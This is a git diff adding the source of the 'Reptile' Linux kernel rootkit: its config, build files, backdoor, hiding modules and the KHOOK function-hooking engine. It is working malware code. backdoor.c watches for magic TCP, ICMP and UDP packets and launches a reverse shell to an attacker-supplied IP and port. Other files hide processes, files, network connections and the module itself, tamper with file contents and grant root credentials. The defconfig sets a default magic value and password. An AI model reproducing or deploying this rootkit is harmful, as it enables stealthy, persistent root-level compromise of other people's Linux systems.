+ +Some functions of this module is based on another rootkits. Please see the references! + +## References + +- “[LKM HACKING](http://www.ouah.org/LKM_HACKING.html)”, The Hackers Choice (THC), 1999; +- https://github.com/mncoppola/suterusu +- https://github.com/David-Reguera-Garcia-Dreg/enyelkm.git +- https://github.com/creaktive/tsh +- https://github.com/brenns10/lsh + +## Thanks + +Special thanks to my friend [Ilya V. Matveychikov](https://github.com/milabs) for the [KHOOK](https://github.com/milabs/khook) framework and [kmatryoshka](https://github.com/milabs/kmatryoshka) loader. + +## Disclaimer + +If you wanna more information, send me an e-mail: f0rb1dd3n@tuta.io + +

+ +

diff --git a/Linux/Rootkits/Reptile/configs/defconfig b/Linux/Rootkits/Reptile/configs/defconfig new file mode 100644 index 0000000..d913e5f --- /dev/null +++ b/Linux/Rootkits/Reptile/configs/defconfig @@ -0,0 +1,45 @@ +# +# Automatically generated file; DO NOT EDIT. +# Reptile's configuration +# + +# +# Chose the features you wanna enable +# +CONFIG_BACKDOOR=y + +# +# Backdoor configuration +# +MAGIC_VALUE="hax0r" +PASSWORD="s3cr3t" +SRCPORT=666 + +# +# END +# +CONFIG_FILE_TAMPERING=y + +# +# Name used in file tampering tags +# +TAG_NAME="reptile" + +# +# END +# +CONFIG_HIDE_PROC=y +CONFIG_HIDE_DIR=y + +# +# Hide name (needed to create Reptile's folder) +# +HIDE="reptile" + +# +# END +# +CONFIG_HIDE_CONN=y +CONFIG_AUTO_HIDE=y +CONFIG_GIVE_ROOT=y +# CONFIG_RSHELL_ON_START is not set diff --git a/Linux/Rootkits/Reptile/kernel/Kbuild b/Linux/Rootkits/Reptile/kernel/Kbuild new file mode 100644 index 0000000..3555661 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/Kbuild @@ -0,0 +1,39 @@ +MODNAME ?= reptile_module +CONFIG_FILE := $(src)/../.config + +include $(CONFIG_FILE) + +ccflags-y += -I$(src)/include -Werror -fno-stack-protector -fomit-frame-pointer +ldflags-y += -T$(src)/khook/engine.lds + +obj-m += $(MODNAME).o +$(MODNAME)-y += main.o string_helpers.o util.o + +$(MODNAME)-$(CONFIG_BACKDOOR) += backdoor.o +$(MODNAME)-$(CONFIG_HIDE_PROC) += proc.o +$(MODNAME)-$(CONFIG_HIDE_DIR) += dir.o +$(MODNAME)-$(CONFIG_FILE_TAMPERING) += file.o +$(MODNAME)-$(CONFIG_HIDE_CONN) += network.o +$(MODNAME)-$(CONFIG_AUTO_HIDE) += module.o + +ccflags-$(CONFIG_BACKDOOR) += -DCONFIG_BACKDOOR +ccflags-$(CONFIG_BACKDOOR) += -DMAGIC_VALUE=\"$(MAGIC_VALUE)\" +ccflags-$(CONFIG_BACKDOOR) += -DPASSWORD=\"$(PASSWORD)\" +ccflags-$(CONFIG_BACKDOOR) += -DSRCPORT=$(SRCPORT) + +ccflags-$(CONFIG_FILE_TAMPERING) += -DCONFIG_FILE_TAMPERING +ccflags-$(CONFIG_FILE_TAMPERING) += -DTAG_NAME=\"$(TAG_NAME)\" + +ccflags-$(CONFIG_HIDE_DIR) += -DCONFIG_HIDE_DIR +ccflags-$(CONFIG_HIDE_DIR) += -DHIDE=\"$(HIDE)\" + +ccflags-$(CONFIG_HIDE_PROC) += -DCONFIG_HIDE_PROC +ccflags-$(CONFIG_HIDE_CONN) += -DCONFIG_HIDE_CONN +ccflags-$(CONFIG_AUTO_HIDE) += -DCONFIG_AUTO_HIDE +ccflags-$(CONFIG_GIVE_ROOT) += -DCONFIG_GIVE_ROOT + +ccflags-y += -DAUTH=$(AUTH) +ccflags-y += -DHTUA=$(HTUA) + +KBUILD_CFLAGS := $(filter-out -pg,$(KBUILD_CFLAGS)) +KBUILD_CFLAGS := $(filter-out -mfentry,$(KBUILD_CFLAGS)) \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/backdoor.c b/Linux/Rootkits/Reptile/kernel/backdoor.c new file mode 100644 index 0000000..816672c --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/backdoor.c @@ -0,0 +1,266 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "util.h" +#include "config.h" +#include "backdoor.h" + +struct shell_task { + struct work_struct work; + char *ip; + char *port; +}; + +void shell_execer(struct work_struct *work) +{ + struct shell_task *task = (struct shell_task *)work; + char *argv[] = { SHELL_PATH, "-t", task->ip, "-p", task->port, "-s", PASSWORD, NULL }; + + exec(argv); + + kfree(task->ip); + kfree(task->port); + kfree(task); +} + +int shell_exec_queue(char *ip, char *port) +{ + struct shell_task *task; + + task = kmalloc(sizeof(*task), GFP_KERNEL); + + if (!task) + return 0; + + task->ip = kstrdup(ip, GFP_KERNEL); + if (!task->ip) { + kfree(task); + return 0; + } + + task->port = kstrdup(port, GFP_KERNEL); + if (!task->port) { + kfree(task->ip); + kfree(task); + return 0; + } + + INIT_WORK(&task->work, &shell_execer); + + return schedule_work(&task->work); +} + +#define DROP 0 +#define ACCEPT 1 + +unsigned int magic_packet_parse(struct sk_buff *socket_buffer) +{ + const struct iphdr *ip_header; + const struct icmphdr *icmp_header; + const struct tcphdr *tcp_header; + const struct udphdr *udp_header; + struct iphdr _iph; + struct icmphdr _icmph; + struct tcphdr _tcph; + struct udphdr _udph; + const char *data = NULL; + char *_data, *argv_str, **argv; + int size, str_size; + + if (!socket_buffer) + return ACCEPT; + + ip_header = skb_header_pointer(socket_buffer, 0, sizeof(_iph), &_iph); + + if (!ip_header) + return ACCEPT; + + if (!ip_header->protocol) + return ACCEPT; + + if (htons(ip_header->id) != IPID) + return ACCEPT; + + if (ip_header->protocol == IPPROTO_TCP) { + tcp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_tcph), &_tcph); + + if (!tcp_header) + return ACCEPT; + + if (htons(tcp_header->source) != SRCPORT) + return ACCEPT; + + if (//htons(tcp_header->seq) == SEQ && /* uncoment this if you wanna use tcp_header->seq as filter */ + htons(tcp_header->window) == WIN) { + size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_tcph); + + _data = kmalloc(size, GFP_KERNEL); + + if (!_data) + return ACCEPT; + + str_size = size - strlen(MAGIC_VALUE); + argv_str = kmalloc(str_size, GFP_KERNEL); + + if (!argv_str) { + kfree(_data); + return ACCEPT; + } + + data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct tcphdr), size, &_data); + + if (!data) { + kfree(_data); + kfree(argv_str); + return ACCEPT; + } + + if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { + + memzero_explicit(argv_str, str_size); + memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); + do_decrypt(argv_str, str_size - 1, KEY); + + argv = argv_split(GFP_KERNEL, argv_str, NULL); + + if (argv) { + shell_exec_queue(argv[0], argv[1]); + argv_free(argv); + } + + kfree(_data); + kfree(argv_str); + + return DROP; + } + + kfree(_data); + kfree(argv_str); + } + } + + if (ip_header->protocol == IPPROTO_ICMP) { + icmp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_icmph), &_icmph); + + if (!icmp_header) + return ACCEPT; + + if (icmp_header->code != ICMP_ECHO) + return ACCEPT; + + if (htons(icmp_header->un.echo.sequence) == SEQ && + htons(icmp_header->un.echo.id) == WIN) { + + size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_icmph); + + _data = kmalloc(size, GFP_KERNEL); + + if (!_data) + return ACCEPT; + + str_size = size - strlen(MAGIC_VALUE); + argv_str = kmalloc(str_size, GFP_KERNEL); + + if (!argv_str) { + kfree(_data); + return ACCEPT; + } + + data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct icmphdr), size, &_data); + + if (!data) { + kfree(_data); + kfree(argv_str); + return ACCEPT; + } + + if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { + + memzero_explicit(argv_str, str_size); + memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); + do_decrypt(argv_str, str_size - 1, KEY); + + argv = argv_split(GFP_KERNEL, argv_str, NULL); + + if (argv) { + shell_exec_queue(argv[0], argv[1]); + argv_free(argv); + } + + kfree(_data); + kfree(argv_str); + + return DROP; + } + + kfree(_data); + kfree(argv_str); + } + } + + if (ip_header->protocol == IPPROTO_UDP) { + udp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_udph), &_udph); + + if (!udp_header) + return ACCEPT; + + if (htons(udp_header->source) != SRCPORT) + return ACCEPT; + + if (htons(udp_header->len) <= (sizeof(struct udphdr) + strlen(MAGIC_VALUE) + 25)) { + + size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_udph); + + _data = kmalloc(size, GFP_KERNEL); + + if (!_data) + return ACCEPT; + + str_size = size - strlen(MAGIC_VALUE); + argv_str = kmalloc(str_size, GFP_KERNEL); + + if (!argv_str) { + kfree(_data); + return ACCEPT; + } + + data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct udphdr), size, &_data); + + if (!data) { + kfree(_data); + kfree(argv_str); + return ACCEPT; + } + + if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { + + memzero_explicit(argv_str, str_size); + memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); + do_decrypt(argv_str, str_size - 1, KEY); + + argv = argv_split(GFP_KERNEL, argv_str, NULL); + + if (argv) { + shell_exec_queue(argv[0], argv[1]); + argv_free(argv); + } + + kfree(_data); + kfree(argv_str); + + return DROP; + } + + kfree(_data); + kfree(argv_str); + } + } + + return ACCEPT; +} \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/dir.c b/Linux/Rootkits/Reptile/kernel/dir.c new file mode 100644 index 0000000..35f1ef9 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/dir.c @@ -0,0 +1,21 @@ +#include +#include +#include +#include +#include + +#include "dir.h" +#include "config.h" + +int is_name_invisible(const char __user *filename) +{ + int ret = 0; + char *name = kmalloc(PATH_MAX, GFP_KERNEL); + + if (strncpy_from_user(name, filename, PATH_MAX) > 0) + if (strstr(name, HIDE)) + ret = 1; + + kfree(name); + return ret; +} \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/encrypt/encrypt.c b/Linux/Rootkits/Reptile/kernel/encrypt/encrypt.c new file mode 100644 index 0000000..dd01ead --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/encrypt/encrypt.c @@ -0,0 +1,52 @@ +#include +#include +#include + +#include "encrypt.h" + +static long get_file_size(FILE *file) +{ + long size; + fseek(file, 0, SEEK_END); + size = ftell(file); + rewind(file); + return size; +} + +int main(int argc, char **argv) +{ + if (argc != 3) { + fprintf(stderr, "USAGE: encrypt \n"); + exit(-1); + } + + FILE *file = fopen(argv[1], "rb"); + if (!file) { + fprintf(stderr, "Can't open %s for reading\n", argv[1]); + exit(-1); + } + + long size = get_file_size(file); + unsigned char *data = malloc(size); + if (!data) { + fprintf(stderr, "Can't allocate memory\n"); + exit(-1); + } + + if (fread(data, size, 1, file) != 1) { + fprintf(stderr, "Can't read data from file\n"); + exit(-1); + } + + fclose(file); + + uint32_t key = strtol(argv[2], NULL, 16); + do_encrypt(data, size, key); + + printf("#define DECRYPT_KEY 0x%08x\n", key); + for (int i = 0; i < size; i++) { + printf("0x%02x,", data[i]); + } + + return 0; +} diff --git a/Linux/Rootkits/Reptile/kernel/file.c b/Linux/Rootkits/Reptile/kernel/file.c new file mode 100644 index 0000000..3cd7b84 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/file.c @@ -0,0 +1,65 @@ +#include +#include + +#include "file.h" + +int file_check(void *arg, ssize_t size) +{ + int ret = 0; + char *buf; + + if ((size <= 0) || (size >= SSIZE_MAX)) + return ret; + + buf = (char *)kmalloc(size + 1, GFP_KERNEL); + if (!buf) + return ret; + + if (copy_from_user((void *)buf, (void *)arg, size)) + goto out; + + buf[size] = 0; + + if ((strstr(buf, HIDETAGIN) != NULL) && (strstr(buf, HIDETAGOUT) != NULL)) + ret = 1; + +out: + kfree(buf); + return ret; +} + +int hide_content(void *arg, ssize_t size) +{ + char *buf, *p1, *p2; + int i, newret; + + buf = (char *)kmalloc(size, GFP_KERNEL); + if (!buf) + return (-1); + + if (copy_from_user((void *)buf, (void *)arg, size)) { + kfree(buf); + return size; + } + + p1 = strstr(buf, HIDETAGIN); + p2 = strstr(buf, HIDETAGOUT); + p2 += strlen(HIDETAGOUT); + + if (p1 >= p2 || !p1 || !p2) { + kfree(buf); + return size; + } + + i = size - (p2 - buf); + memmove((void *)p1, (void *)p2, i); + newret = size - (p2 - p1); + + if (copy_to_user((void *)arg, (void *)buf, newret)) { + kfree(buf); + return size; + } + + kfree(buf); + return newret; +} \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/backdoor.h b/Linux/Rootkits/Reptile/kernel/include/backdoor.h new file mode 100644 index 0000000..f8cdbbd --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/backdoor.h @@ -0,0 +1 @@ +unsigned int magic_packet_parse(struct sk_buff *socket_buffer); \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/config.h b/Linux/Rootkits/Reptile/kernel/include/config.h new file mode 100644 index 0000000..48d2193 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/config.h @@ -0,0 +1,26 @@ +/* + * You can change the configurations in this file if you want. + * But you need to make sure you'll change it in the client too. + * + * FIXME: randomly generate KEY, IPID, SEQ and WIN. + * + * Note: I know it is not a good practice to have those configurations + * constants, but since there is already known issues in Reptile, this + * will be the least of your problems. It will be updated next version! + * + */ + +#ifdef CONFIG_BACKDOOR +# define SHELL_PATH "/"HIDE"/"HIDE"_shell" +# define KEY 0x6de56d3b +# define IPID 3429 +# define SEQ 15123 +# define WIN 9965 +#endif + +#ifdef CONFIG_FILE_TAMPERING +# define HIDETAGIN "#<"TAG_NAME">" +# define HIDETAGOUT "#" +#endif + +#define START_SCRIPT "/"HIDE"/"HIDE"_start" \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/dir.h b/Linux/Rootkits/Reptile/kernel/include/dir.h new file mode 100644 index 0000000..0ca61cb --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/dir.h @@ -0,0 +1 @@ +int is_name_invisible(const char __user *filename); \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/encrypt.h b/Linux/Rootkits/Reptile/kernel/include/encrypt.h new file mode 100644 index 0000000..e941c39 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/encrypt.h @@ -0,0 +1,20 @@ +#ifndef __LOADER_H__ +#define __LOADER_H__ + +#define do_encrypt(ptr, len, key) do_encode(ptr, len, key) +#define do_decrypt(ptr, len, key) do_encode(ptr, len, key) + +static inline unsigned int custom_rol32(unsigned int val, int n) +{ + return ((val << n) | (val >> (32 - n))); +} + +static inline void do_encode(void *ptr, unsigned int len, unsigned int key) +{ + while (len > sizeof(key)) { + *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); + len -= sizeof(key), ptr += sizeof(key); + } +} + +#endif diff --git a/Linux/Rootkits/Reptile/kernel/include/file.h b/Linux/Rootkits/Reptile/kernel/include/file.h new file mode 100644 index 0000000..d4a1064 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/file.h @@ -0,0 +1,16 @@ +#include "config.h" + +#define SSIZE_MAX 32767 + +extern int file_tampering_flag; + +int file_check(void *arg, ssize_t size); +int hide_content(void *arg, ssize_t size); + +static inline void file_tampering(void) +{ + if (file_tampering_flag) + file_tampering_flag = 0; + else + file_tampering_flag = 1; +} \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/module.h b/Linux/Rootkits/Reptile/kernel/include/module.h new file mode 100644 index 0000000..c2ddb3a --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/module.h @@ -0,0 +1 @@ +void hide_module(void); \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/network.h b/Linux/Rootkits/Reptile/kernel/include/network.h new file mode 100644 index 0000000..5ace97a --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/network.h @@ -0,0 +1,12 @@ +#include + +struct hidden_conn { + struct sockaddr_in addr; + struct list_head list; +}; + +extern struct list_head hidden_conn_list; + +void network_hide_add(struct sockaddr_in addr); +void network_hide_remove(struct sockaddr_in addr); +//void hide_conn(char *ip_str); \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/proc.h b/Linux/Rootkits/Reptile/kernel/include/proc.h new file mode 100644 index 0000000..b46482a --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/proc.h @@ -0,0 +1,17 @@ +#define FLAG 0x80000000 + +struct tgid_iter { + unsigned int tgid; + struct task_struct *task; +}; + +static inline int is_task_invisible(struct task_struct *task) +{ + return task->flags & FLAG; +} + +int flag_tasks(pid_t pid, int set); +int is_proc_invisible(pid_t pid); +int is_proc_invisible_2(const char __user *filename); +//void hide_proc(char *pid_str); +void hide_proc(pid_t pid); \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/string_helpers.h b/Linux/Rootkits/Reptile/kernel/include/string_helpers.h new file mode 100644 index 0000000..6b37dfd --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/string_helpers.h @@ -0,0 +1,18 @@ +#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0) + +#include +#include + +char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0) +char *strreplace(char *s, char old, char new); +#endif + +#else +# include +# include +# include +#endif \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/util.h b/Linux/Rootkits/Reptile/kernel/include/util.h new file mode 100644 index 0000000..0b479c9 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/util.h @@ -0,0 +1,89 @@ +#include +#include +#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 14, 0) +# include +#else +# include +#endif + +#define do_encrypt(ptr, len, key) do_encode(ptr, len, key) +#define do_decrypt(ptr, len, key) do_encode(ptr, len, key) + +static inline unsigned int custom_rol32(unsigned int val, int n) +{ + return ((val << n) | (val >> (32 - n))); +} + +static inline void do_encode(void *ptr, unsigned int len, unsigned int key) +{ + while (len > sizeof(key)) { + *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); + len -= sizeof(key), ptr += sizeof(key); + } +} + +static inline int exec(char **argv) +{ + char *envp[] = {"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL}; + return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); +} + +static inline int run_cmd(char *cmd) +{ + char *argv[] = {"/bin/bash", "-c", cmd, NULL}; + return exec(argv); +} + +static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, + unsigned long addr) +{ + int i = 0; + while (!module && (((const char *)data[0]))[i] == name[i]) { + if (!name[i++]) + return !!(data[1] = addr); + } + return 0; +} + +static inline unsigned long ksym_lookup_name(const char *name) +{ + unsigned long data[2] = {(unsigned long)name, 0}; + kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); + return data[1]; +} + +#ifdef CONFIG_GIVE_ROOT +static inline void get_root(void) +{ +#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) + current->uid = 0; + current->suid = 0; + current->euid = 0; + current->gid = 0; + current->egid = 0; + current->fsuid = 0; + current->fsgid = 0; + cap_set_full(current->cap_effective); + cap_set_full(current->cap_inheritable); + cap_set_full(current->cap_permitted); +#else + commit_creds(prepare_kernel_cred(0)); +#endif +} +#endif + +extern int hidden; + +static inline void flip_hidden_flag(void) +{ + if (hidden) + hidden = 0; + else + hidden = 1; +} + +int util_init(void); +int get_cmdline(struct task_struct *task, char *buffer, int buflen); +//int run_cmd(const char *cmd); \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/khook/engine.c b/Linux/Rootkits/Reptile/kernel/khook/engine.c new file mode 100644 index 0000000..d54d889 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/engine.c @@ -0,0 +1,153 @@ +#include "internal.h" + +static khook_stub_t *khook_stub_tbl = NULL; + +//////////////////////////////////////////////////////////////////////////////// + +static int khook_lookup_cb(long data[], const char *name, void *module, long addr) +{ + int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) { + if (!name[i++]) return !!(data[1] = addr); + } return 0; +} + +static void *khook_lookup_name(const char *name) +{ + long data[2] = { (long)name, 0 }; + kallsyms_on_each_symbol((void *)khook_lookup_cb, data); + return (void *)data[1]; +} + +static void *khook_map_writable(void *addr, size_t len) +{ + struct page *pages[2] = { 0 }; // len << PAGE_SIZE + long page_offset = offset_in_page(addr); + int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE); + + addr = (void *)((long)addr & PAGE_MASK); + for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) { + if ((pages[i] = is_vmalloc_addr(addr) ? + vmalloc_to_page(addr) : virt_to_page(addr)) == NULL) + return NULL; + } + + addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL); + return addr ? addr + page_offset : NULL; +} + +//////////////////////////////////////////////////////////////////////////////// + +#ifdef CONFIG_X86 +# include "x86/hook.c" +#else +# error Target CPU architecture is NOT supported !!! +#endif + +//////////////////////////////////////////////////////////////////////////////// + +static void khook_wakeup(void) +{ + struct task_struct *p; + rcu_read_lock(); + for_each_process(p) { + wake_up_process(p); + } + rcu_read_unlock(); +} + +static int khook_sm_init_hooks(void *arg) +{ + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + if (!p->target.addr_map) continue; + khook_arch_sm_init_one(p); + } + return 0; +} + +static int khook_sm_cleanup_hooks(void *arg) +{ + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + if (!p->target.addr_map) continue; + khook_arch_sm_cleanup_one(p); + } + return 0; +} + +static void khook_resolve(void) +{ + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + p->target.addr = khook_lookup_name(p->target.name); + } +} + +static void khook_map(void) +{ + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + if (!p->target.addr) continue; + p->target.addr_map = khook_map_writable(p->target.addr, 32); + khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map); + } +} + +static void khook_unmap(int wait) +{ + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + khook_stub_t *stub = KHOOK_STUB(p); + if (!p->target.addr_map) continue; + while (wait && atomic_read(&stub->use_count) > 0) { + khook_wakeup(); + msleep_interruptible(1000); + khook_debug("waiting for %s...\n", p->target.name); + } + vunmap((void *)((long)p->target.addr_map & PAGE_MASK)); + p->target.addr_map = NULL; + } +} + +//////////////////////////////////////////////////////////////////////////////// + +int khook_init(void) +{ + void *(*malloc)(long size) = NULL; + int (*set_memory_x)(unsigned long, int) = NULL; + + malloc = khook_lookup_name("module_alloc"); + if (!malloc || KHOOK_ARCH_INIT()) return -EINVAL; + + khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE); + if (!khook_stub_tbl) return -ENOMEM; + memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE); + + // + // Since some point memory allocated by module_alloc() doesn't + // have eXecutable attributes. That's why we have to mark the + // region executable explicitly. + // + + set_memory_x = khook_lookup_name("set_memory_x"); + if (set_memory_x) { + int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE; + set_memory_x((unsigned long)khook_stub_tbl, numpages); + } + + khook_resolve(); + + khook_map(); + stop_machine(khook_sm_init_hooks, NULL, NULL); + khook_unmap(0); + + return 0; +} + +void khook_cleanup(void) +{ + khook_map(); + stop_machine(khook_sm_cleanup_hooks, NULL, NULL); + khook_unmap(1); + vfree(khook_stub_tbl); +} diff --git a/Linux/Rootkits/Reptile/kernel/khook/engine.h b/Linux/Rootkits/Reptile/kernel/khook/engine.h new file mode 100644 index 0000000..46237b2 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/engine.h @@ -0,0 +1,46 @@ +#pragma once + +#include + +#define KHOOK_F_NOREF (1UL << 0) // don't do auto ref-count + +typedef struct { + void *fn; // handler fn address + struct { + const char *name; // target symbol name + char *addr; // target symbol addr (see khook_lookup_name) + char *addr_map; // writable mapping of target symbol + } target; + void *orig; // original fn call wrapper + unsigned long flags; // hook engine options (flags) +} khook_t; + +#define KHOOK_(t, f) \ + static inline typeof(t) khook_##t; /* forward decl */ \ + khook_t \ + __attribute__((unused)) \ + __attribute__((aligned(1))) \ + __attribute__((section(".data.khook"))) \ + KHOOK_##t = { \ + .fn = khook_##t, \ + .target.name = #t, \ + .flags = f, \ + } + +#define KHOOK(t) \ + KHOOK_(t, 0) +#define KHOOK_EXT(r, t, ...) \ + extern r t(__VA_ARGS__); \ + KHOOK_(t, 0) + +#define KHOOK_NOREF(t) \ + KHOOK_(t, KHOOK_F_NOREF) +#define KHOOK_NOREF_EXT(r, t, ...) \ + extern r t(__VA_ARGS__); \ + KHOOK_(t, KHOOK_F_NOREF) + +#define KHOOK_ORIGIN(t, ...) \ + ((typeof(t) *)KHOOK_##t.orig)(__VA_ARGS__) + +extern int khook_init(void); +extern void khook_cleanup(void); diff --git a/Linux/Rootkits/Reptile/kernel/khook/engine.lds b/Linux/Rootkits/Reptile/kernel/khook/engine.lds new file mode 100644 index 0000000..ab37384 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/engine.lds @@ -0,0 +1,8 @@ +SECTIONS +{ + .data : { + KHOOK_tbl = . ; + *(.data.khook) + KHOOK_tbl_end = . ; + } +} diff --git a/Linux/Rootkits/Reptile/kernel/khook/internal.h b/Linux/Rootkits/Reptile/kernel/khook/internal.h new file mode 100644 index 0000000..3d840d3 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/internal.h @@ -0,0 +1,60 @@ +#pragma once + +#include +#include +#include +#include +#include +#include +#include + +#ifndef for_each_process +# include +#endif + +#include "engine.h" + +extern khook_t KHOOK_tbl[]; +extern khook_t KHOOK_tbl_end[]; + +#define KHOOK_FOREACH_HOOK(p) \ + for (p = KHOOK_tbl; p < KHOOK_tbl_end; p++) + +typedef struct { +#pragma pack(push, 1) + union { + unsigned char _0x00_[ 0x10 ]; + atomic_t use_count; + }; + union { + unsigned char _0x10_[ 0x20 ]; + unsigned char orig[0]; + }; + union { + unsigned char _0x30_[ 0x80 ]; + unsigned char hook[0]; + }; +#pragma pack(pop) + unsigned nbytes; +} __attribute__((aligned(32))) khook_stub_t; + +static khook_stub_t *khook_stub_tbl; + +#define KHOOK_STUB(h) \ + (khook_stub_tbl + ((h) - KHOOK_tbl)) + +#define KHOOK_STUB_TBL_SIZE \ + (sizeof(khook_stub_t) * (KHOOK_tbl_end - KHOOK_tbl + 1)) + +#if BITS_PER_LONG == 64 +# define KHOOK_STUB_FILE_NAME "stub.inc" +#else +# define KHOOK_STUB_FILE_NAME "stub32.inc" +#endif + +#ifdef DEBUG +# define khook_debug(fmt, ...) \ + pr_debug("[khook] " fmt, ##__VA_ARGS__) +#else +# define khook_debug(fmt, ...) +#endif diff --git a/Linux/Rootkits/Reptile/kernel/khook/x86/.gitignore b/Linux/Rootkits/Reptile/kernel/khook/x86/.gitignore new file mode 100644 index 0000000..d529c37 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/x86/.gitignore @@ -0,0 +1,2 @@ +stub +stub32 diff --git a/Linux/Rootkits/Reptile/kernel/khook/x86/Makefile b/Linux/Rootkits/Reptile/kernel/khook/x86/Makefile new file mode 100644 index 0000000..aabf0aa --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/x86/Makefile @@ -0,0 +1,12 @@ +STUB = stub.S + +stub: FORCE + gcc $(CFLAGS) -nostdlib -Wl,-e0 $(STUB) -o stub + objcopy --dump-section .text=/dev/stdout stub | xxd -i - >stub.inc + gcc $(CFLAGS) -m32 -nostdlib -Wl,-e0 $(STUB) -o stub32 + objcopy --dump-section .text=/dev/stdout stub32 | xxd -i - >stub32.inc + +clean: + rm -f stub *.inc + +FORCE: diff --git a/Linux/Rootkits/Reptile/kernel/khook/x86/README.md b/Linux/Rootkits/Reptile/kernel/khook/x86/README.md new file mode 100644 index 0000000..f6d01eb --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/x86/README.md @@ -0,0 +1 @@ +KHOOK x86 stub generator, use `make` to (re)-generate. diff --git a/Linux/Rootkits/Reptile/kernel/khook/x86/hook.c b/Linux/Rootkits/Reptile/kernel/khook/x86/hook.c new file mode 100644 index 0000000..ae4076e --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/x86/hook.c @@ -0,0 +1,83 @@ +#include "../internal.h" + +//////////////////////////////////////////////////////////////////////////////// +// IN-kernel length disassembler engine (x86 only, 2.6.33+) +//////////////////////////////////////////////////////////////////////////////// + +#include + +static struct { + typeof(insn_init) *init; + typeof(insn_get_length) *get_length; +} khook_arch_lde; + +static inline int khook_arch_lde_init(void) { + khook_arch_lde.init = khook_lookup_name("insn_init"); + if (!khook_arch_lde.init) return -EINVAL; + khook_arch_lde.get_length = khook_lookup_name("insn_get_length"); + if (!khook_arch_lde.get_length) return -EINVAL; + return 0; +} + +static inline int khook_arch_lde_get_length(const void *p) { + struct insn insn; + int x86_64 = 0; +#ifdef CONFIG_X86_64 + x86_64 = 1; +#endif +#if defined MAX_INSN_SIZE && (MAX_INSN_SIZE == 15) /* 3.19.7+ */ + khook_arch_lde.init(&insn, p, MAX_INSN_SIZE, x86_64); +#else + khook_arch_lde.init(&insn, p, x86_64); +#endif + khook_arch_lde.get_length(&insn); + return insn.length; +} + +//////////////////////////////////////////////////////////////////////////////// + 